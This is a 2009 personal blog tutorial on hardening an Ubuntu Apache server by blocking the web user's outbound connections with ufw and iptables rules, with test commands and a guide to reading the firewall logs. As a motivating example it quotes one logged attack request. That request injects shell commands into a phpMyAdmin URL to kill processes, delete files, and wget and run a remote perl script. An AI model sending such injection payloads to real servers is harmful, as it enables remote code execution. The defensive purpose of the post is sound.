• contact
  • linkblog
Home

Securing your web server by blocking outbound connections

rene — Tue, 11/24/2009 - 13:01

For a majority of web servers out there the need to query DNS servers and make external HTTP connections are not required yet these types of outbound packets are generally not firewalled off.

Take a quick search through your Apache logs for the 'wget' command and you may find requests that resemble something like this

217.196.212.150 - - [09/Sep/2009:04:31:25 +1000] "GET /phpMyAdmin/config/config
.inc.php?c=cd%20/tmp;killall%20-9%20perl;rm%20-rf%20X0-lock;rm%20-rf%20font-nix
;wget%20193.13.87.38/X0-locker;perl%20X0-locker  HTTP/1.1" 404 230 "-" "Mozilla
/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

The above request shows a scripted HTTP query that attempts to pass several commands to the PHP file titled config.inc.php. If successful this command would of killed all perl processes owned by the user running the web server (the user being www-data and the web server being Apache in this case), rm'd a few files, downloaded a perl script called X0-locker from an external site and then ran that perl script with the privileges of www-data.

A catch all fix for these types of attacks is to firewall all packets generated by the user running Apache.

Below I will take this 1 step further and demonstrate how to successfully block all outbound connections that we do not allow through using Ubuntu. This includes outbound HTTP and DNS requests from our user running our web server. Whilst iptables is not Ubuntu specific, I use the ufw package which is found in Ubuntu. The iptables rules that I use can be bolted on top of most distributions if you change the chain names.

Firstly, lets install the ufw package

$ sudo apt-get install ufw

Set the default OUTPUT policy to DROP by editing /etc/default/ufw. This effectively drops every outgoing packet.

DEFAULT_OUTPUT_POLICY="DROP"

Enable ufw by setting ENABLED to yes by editing /etc/ufw/ufw.conf

ENABLED=yes

At this stage its best you ensure your remote console connection to your web server is working. If you dont have a remote console connection you can add a small cron job which will stop the ufw service removing all the iptables rules.

Add the following cron job to /etc/cron.d/ufw

*/10 * * * *    root /etc/init.d/ufw stop

ufw (version 0.27) has a --dry-run feature though as far I'm aware this does not work with editing rules in /etc/ufw/before.rules which is where we're going next. I cant stress enough that without a remote console connection or the above cron job, you most likely will lock yourself out of your server.

Now to begin editing iptables rules. Open /etc/ufw/before.rules and hash out the following lines

-A ufw-before-output -p tcp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -p udp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

Find the COMMIT line within /etc/ufw/before.rules which should be on the last line. Just before the COMMIT line add the following

# http/s
-A ufw-before-input -p tcp --sport 1024:65535 -m multiport --dports 80,443 
-j ACCEPT

# ssh
-A ufw-before-input -p tcp --dport 22 -j ACCEPT

# allow established packets through
-A ufw-before-output -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT

# ntp
-A ufw-before-output -m owner --uid-owner ntp -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -m owner --uid-owner root -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

# log
-A ufw-before-output -m limit --limit 3/min --limit-burst 10 -m state --state NEW -j LOG --log-uid

If you have a remote console connection to your server its best to login through it now. If not ensure the cron job that stops the ufw service is working. If one of these 'backdoors' are not working be prepared to pay a visit to your data center and login via the console.

Start ufw.

$ sudo /etc/init.d/ufw start

Check the new iptable rules are in place

$ sudo iptables -L -n -v

We can easily test that the rules are in place and are blocking outbound connections from the webserver by su'ing to the www-data user and generating an outbound DNS and HTTP request

$ sudo su - www-data -s /bin/bash
$ telnet www.google.com 80
telnet: could not resolve www.google.com/80: Name or service not known

As we havent allowed DNS requests to be made from the www-data user outbound, HTTP queries have no chance of getting through. You can relax this slightly by allowing DNS requests to be made by www-data. This may be required if your web applications do any host based outbound queries (eg; using the google maps API) or if your Apache configuration has host based ACLs using an authorization module such as mod_authz_host.

To allow DNS requests by the www-data but continue to block all outbound connections that are initiated by the www-data user add the following iptables rule just before the final ufw-before-output rule

-A ufw-before-output -m owner --uid-owner www-data -p tcp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
-A ufw-before-output -m owner --uid-owner www-data -p udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

Logging

Within the rules that we have added to perform the logging of the packets that are blocked we've used the --log-uid option allowing the logs to contain the UID and GID of the user who generated the offending outbound packet.

This extra piece of information is incredibly useful in debugging web applications and services that are trying establish outbound connections

Nov 22 20:52:52 web01 kernel: [569936.655730] IN= OUT=eth0 SRC=10.3.2.70 
DST=66.249.89.99 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=595 DF PROTO=TCP SPT=44742
DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0 UID=33 GID=33 

From the above log we have the following important information that can help determine what was blocked and whether we need to unblock it.

OUT=eth0 - the ethernet card that the packet was route out
SRC=10.3.2.70 - the source IP address of your web server
DST=66.249.89.99 - the destination of the packet
PROTO=TCP - the protocol of the packet
DPT=80 - the destination port
UID=33 - the userid that generated the packet
GID=33 - the group id that generated the packet


photos im taking

photo.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgSpiderman!photo.jpgJazz night the RSLChinese new year in melbournephoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpgphoto.jpg

connect with me

search rene.bz

what im reading

  • It’s going to take five years - six words that can save your startup
  • 5 Types of Emails You Should be Automatically Filtering
  • Google CEO Eric Schmidt Circa 1986
  • When CEOs Have Warren Buffett In Their Boardroom
  • How NodeJS saved my web application
  • Want more startup hubs? Show us your faces
  • Notes from a production MongoDB deployment
  • Debian refuses to package the embedded PHP library. Reason ? "it's a rotten language whose use should not be encouraged". WTF ?
  • MySQL and Memcached: End of an Era?
  • People Don't Hate Change - They Hate You Trying to Change Them
  • The Data Deluge
  • Palm Says Revenue Will Be Lower Than Expected, Cites Slow Sales
  • Do You Follow Too Many People On Twitter? Use ManageTwitter.
  • Future iPads To Have Front-facing Cameras, Flash (Bulbs, Not Software)
  • PHOTO: In "Life, below 600px," Paddy Donnelly talks
  • 5 Ways to Stop Second Guessing Yourself
  • I Don’t Want a Freaking Computer
  • Man Checks-In Everywhere But Foursquare Rehab
  • How to Kill a Radical Idea
  • MEETorDIE Quantifies The Cost Of Wasteful Meetings
more

what im bookmarking

  • VMware KB: Timekeeping best practices for Linux guests
  • Linux installation kickstart for Oracle database - Oracle Wiki
  • IBM developerWorks: Wikis - Linux for Power Architecture - RHEL5 - Root on dm-multipath device
  • jQuery: » The Official jQuery Podcast – Episode 13 – David Walsh
  • BBC - BBC World Service Programmes - Digital Planet, 16/02/2010
  • gdgt weekly 074 - gdgt
  • PXE virtual network with Virtualbox and Cobbler | number 9
  • bootstrapping Puppet from Cobbler | number 9
  • willypick @ MindSay double NAT
  • BBC iPlayer rejects open source plugins, takes Flash-only path • The Register
  • Puppet Red Hat Centos – puppet
  • Augeas — Main
  • IT Conversations | StackOverflow | Episode 84
  • IT Conversations | O'Reilly Media Gov 2.0 Summit | Panel: John Markoff, Vinton Cerf, Jack Dorsey, Tim Sparapani
  • Shot of Jaq » Jaqback, Issue 4
  • Shot of Jaq » Developing The Devop
  • TWiST #40 Bonus Interview with Penn State | This Week in Startups (TWiST)
  • The Pipeline 3: Jason Fried | 5 by 5
  • Risky Business #140 -- Former NSA tech director, info assurance, Brian Snow | Risky Business
  • TWiST #42 with Michael Robertson
more

podcasts im listening to

  • jQuery: » The Official jQuery Podcast – Episode 13 – David Walsh
  • BBC - BBC World Service Programmes - Digital Planet, 16/02/2010
  • gdgt weekly 074 - gdgt
  • IT Conversations | StackOverflow | Episode 84
  • IT Conversations | O'Reilly Media Gov 2.0 Summit | Panel: John Markoff, Vinton Cerf, Jack Dorsey, Tim Sparapani
more
  • contact
  • linkblog